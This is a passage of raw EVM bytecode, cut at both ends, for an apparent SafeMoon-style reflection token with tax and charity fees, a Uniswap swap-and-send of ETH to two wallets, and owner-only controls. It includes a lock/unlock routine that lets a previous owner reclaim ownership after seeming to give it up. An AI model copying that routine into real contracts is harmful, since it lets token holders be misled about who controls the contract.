0929190505050611119565b005b3480156105a957600080fd5b506105b26112aa565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105ea57600080fd5b506106236004803603604081101561060157600080fd5b81019080803590602001909291908035151590602001909291905050506112d0565b6040518082815260200191505060405180910390f35b34801561064557600080fd5b5061064e611387565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561068657600080fd5b5061068f6113ab565b005b34801561069d57600080fd5b506106e0600480360360208110156106b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061148c565b60405180821515815260200191505060405180910390f35b34801561070457600080fd5b506107316004803603602081101561071b57600080fd5b81019080803590602001909291905050506114e2565b005b34801561073f57600080fd5b50610748611638565b60405180821515815260200191505060405180910390f35b34801561076c57600080fd5b506107af6004803603602081101561078357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061164b565b6040518082815260200191505060405180910390f35b3480156107d157600080fd5b506107da611736565b005b3480156107e857600080fd5b506107f16118bc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561082957600080fd5b506108326118e2565b6040518082815260200191505060405180910390f35b34801561085457600080fd5b5061085d6118e8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561089557600080fd5b5061089e611911565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108de5780820151818401526020810190506108c3565b50505050905090810190601f16801561090b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561092557600080fd5b506109526004803603602081101561093c57600080fd5b81019080803590602001909291905050506119b3565b005b34801561096057600080fd5b506109ad6004803603604081101561097757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b09565b60405180821515815260200191505060405180910390f35b3480156109d157600080fd5b506109da611bd6565b005b3480156109e857600080fd5b50610a35600480360360408110156109ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611df3565b60405180821515815260200191505060405180910390f35b348015610a5957600080fd5b50610aa860048036036040811015610a7057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611e11565b005b348015610ab657600080fd5b50610abf611f34565b6040518082815260200191505060405180910390f35b348015610ae157600080fd5b50610b2460048036036020811015610af857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f3e565b60405180821515815260200191505060405180910390f35b348015610b4857600080fd5b50610b8b60048036036020811015610b5f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f94565b005b348015610b9957600080fd5b50610bc660048036036020811015610bb057600080fd5b81019080803590602001909291905050506120a0565b005b348015610bd457600080fd5b50610c0160048036036020811015610beb57600080fd5b8101908080359060200190929190505050612199565b005b348015610c0f57600080fd5b50610c7260048036036040811015610c2657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061238a565b6040518082815260200191505060405180910390f35b348015610c9457600080fd5b50610cc360048036036020811015610cab57600080fd5b81019080803515159060200190929190505050612411565b005b348015610cd157600080fd5b50610d1460048036036020811015610ce857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124f6565b005b348015610d2257600080fd5b50610d6560048036036020811015610d3957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506128a9565b005b348015610d7357600080fd5b50610d7c612ab4565b005b348015610d8a57600080fd5b50610d93612b8d565b6040518082815260200191505060405180910390f35b348015610db557600080fd5b50610df860048036036020811015610dcc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b95565b005b6060600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e925780601f10610e6757610100808354040283529160200191610e92565b820191906000526020600020905b815481529060010190602001808311610e7557829003601f168201915b5050505050905090565b6000610eb0610ea9612f1f565b8484612f27565b6001905092915050565b6000600b54905090565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600954905090565b6000610eff84848461311e565b610fc084610f0b612f1f565b610fbb85604051806060016040528060288152602001614fb760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f71612f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f59092919063ffffffff16565b612f27565b600190509392505050565b6000600a54821115611028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180614efc602a913960400191505060405180910390fd5b60006110326135b5565b905061104781846135e090919063ffffffff16565b915050919050565b6000600e60009054906101000a900460ff16905090565b600061110f611073612f1f565b8461110a8560056000611084612f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b612f27565b6001905092915050565b6000611123612f1f565b9050600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180615073602c913960400191505060405180910390fd5b60006111d3836136b2565b5050505050905061122c81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371990919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128481600a5461371990919063ffffffff16565b600a8190555061129f83600b5461362a90919063ffffffff16565b600b81905550505050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060095483111561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b8161136a57600061135a846136b2565b5050505050905080915050611381565b6000611375846136b2565b50505050915050809150505b92915050565b7f00000000000000000000000003358c0056d24171cd3d29c6d9dbdc36c9fe080a81565b6113b3612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611473576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600061147e3061164b565b905061148981613763565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6114ea612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600181101580156115bc5750600a8111155b61162e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f7461784665652073686f756c6420626520696e2031202d20313000000000000081525060200191505060405180910390fd5b80600f8190555050565b601460159054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116e657600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611731565b61172e600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fcb565b90505b919050565b61173e612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60155481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119a95780601f1061197e576101008083540402835291602001916119a9565b820191906000526020600020905b81548152906001019060200180831161198c57829003601f168201915b5050505050905090565b6119bb612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60018110158015611a8d5750600b8111155b611aff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f636861726974794665652073686f756c6420626520696e2031202d203131000081525060200191505060405180910390fd5b8060108190555050565b6000611bcc611b16612f1f565b84611bc7856040518060600160405280602581526020016150c26025913960056000611b40612f1f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f59092919063ffffffff16565b612f27565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c7c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061509f6023913960400191505060405180910390fd5b6002544211611cf3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f6e7472616374206973206c6f636b656420756e74696c203720646179730081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000611e07611e00612f1f565b848461311e565b6001905092915050565b611e19612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ed9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600254905090565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611f9c612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461205c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6120a8612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612168576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b612190606461218283600954613a4590919063ffffffff16565b6135e090919063ffffffff16565b60158190555050565b6121a1612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612261576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550804201600281905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b612419612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601460156101000a81548160ff02191690831515021790555050565b6124fe612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146125be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612657576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806150516022913960400191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612717576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156127eb576127a7600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fcb565b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6128b1612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612971576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156129f7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614f266026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612abc612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b7c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000479050612b8a81613acb565b50565b600047905090565b612b9d612f1f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612d1c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b600880549050811015612f1b578173ffffffffffffffffffffffffffffffffffffffff1660088281548110612d5057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612f0e57600860016008805490500381548110612dac57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660088281548110612de457fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506008805480612ed457fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055612f1b565b8080600101915050612d1f565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612fad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061502d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613033576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180614f4c6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156131a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806150086025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561322a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180614ed96023913960400191505060405180910390fd5b60008111613283576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180614fdf6029913960400191505060405180910390fd5b61328b6118e8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156132f957506132c96118e8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561335a57601554811115613359576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180614f6e6028913960400191505060405180910390fd5b5b60006133653061164b565b905060155481106133765760155490505b6000601654821015905060148054906101000a900460ff161580156133a75750601460159054906101000a900460ff165b80156133b05750805b801561340857507f00000000000000000000000003358c0056d24171cd3d29c6d9dbdc36c9fe080a73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156134305761341682613763565b6000479050600081111561342e5761342d47613acb565b5b505b600060019050600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806134d75750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156134e157600090505b6134ed86868684613bc6565b505050505050565b60008383111582906135a2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561356757808201518184015260208101905061354c565b50505050905090810190601f1680156135945780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006135c2613ed7565b915091506135d981836135e090919063ffffffff16565b9250505090565b600061362283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614168565b905092915050565b6000808284019050838110156136a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008060008060008060008060006136cf8a600f5460105461422e565b92509250925060006136df6135b5565b905060008060006136f18e87866142c4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061375b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506134f5565b905092915050565b60016014806101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561379757600080fd5b506040519080825280602002602001820160405280156137c65781602001602082028036833780820191505090505b50905030816000815181106137d757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561387757600080fd5b505afa15801561388b573d6000803e3d6000fd5b505050506040513d60208110156138a157600080fd5b8101908080519060200190929190505050816001815181106138bf57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613924307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612f27565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156139e65780820151818401526020810190506139cb565b505050509050019650505050505050600060405180830381600087803b158015613a0f57600080fd5b505af1158015613a23573d6000803e3d6000fd5b505050505060006014806101000a81548160ff02191690831515021790555050565b600080831415613a585760009050613ac5565b6000828402905082848281613a6957fe5b0414613ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614f966021913960400191505060405180910390fd5b809150505b92915050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc613b1b6002846135e090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015613b46573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc613b976002846135e090919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015613bc2573d6000803e3d6000fd5b5050565b80613bd457613bd3614322565b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613c775750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613c8c57613c87848484614365565b613ec3565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613d2f5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613d4457613d3f8484846145c5565b613ec2565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613de85750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613dfd57613df8848484614825565b613ec1565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015613e9f5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15613eb457613eaf8484846149f0565b613ec0565b613ebf848484614825565b5b5b5b5b80613ed157613ed0614ce5565b5b50505050565b6000806000600a5490506000600954905060005b60088054905081101561412b57826003600060088481548110613f0a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613ff15750816004600060088481548110613f8957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561400857600a5460095494509450505050614164565b614091600360006008848154811061401c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461371990919063ffffffff16565b925061411c60046000600884815481106140a757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361371990919063ffffffff16565b91508080600101915050613eeb565b50614143600954600a546135e090919063ffffffff16565b82101561415b57600a54600954935093505050614164565b81819350935050505b9091565b60008083118290614214576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156141d95780820151818401526020810190506141be565b50505050905090810190601f1680156142065780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161422057fe5b049050809150509392505050565b60008060008061425a606461424c888a613a4590919063ffffffff16565b6135e090919063ffffffff16565b905060006142846064614276888b613a4590919063ffffffff16565b6135e090919063ffffffff16565b905060006142ad8261429f858c61371990919063ffffffff16565b61371990919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806142dd8588613a4590919063ffffffff16565b905060006142f48688613a4590919063ffffffff16565b9050600061430b828461371990919063ffffffff16565b905082818395509550955050505093509350939050565b6000600f5414801561433657506000601054145b1561434057614363565b600f546011819055506010546012819055506000600f8190555060006010819055505b565b600080600080600080614377876136b2565b9550955095509550955095506143d587600460008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371990919063ffffffff16565b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061446a86600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371990919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506144ff85600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061454b81614cf9565b6145558483614e9e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806145d7876136b2565b95509550955095509550955061463586600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461371990919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506146ca83600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063ffffffff16565b600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061475f85600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461362a90919063fff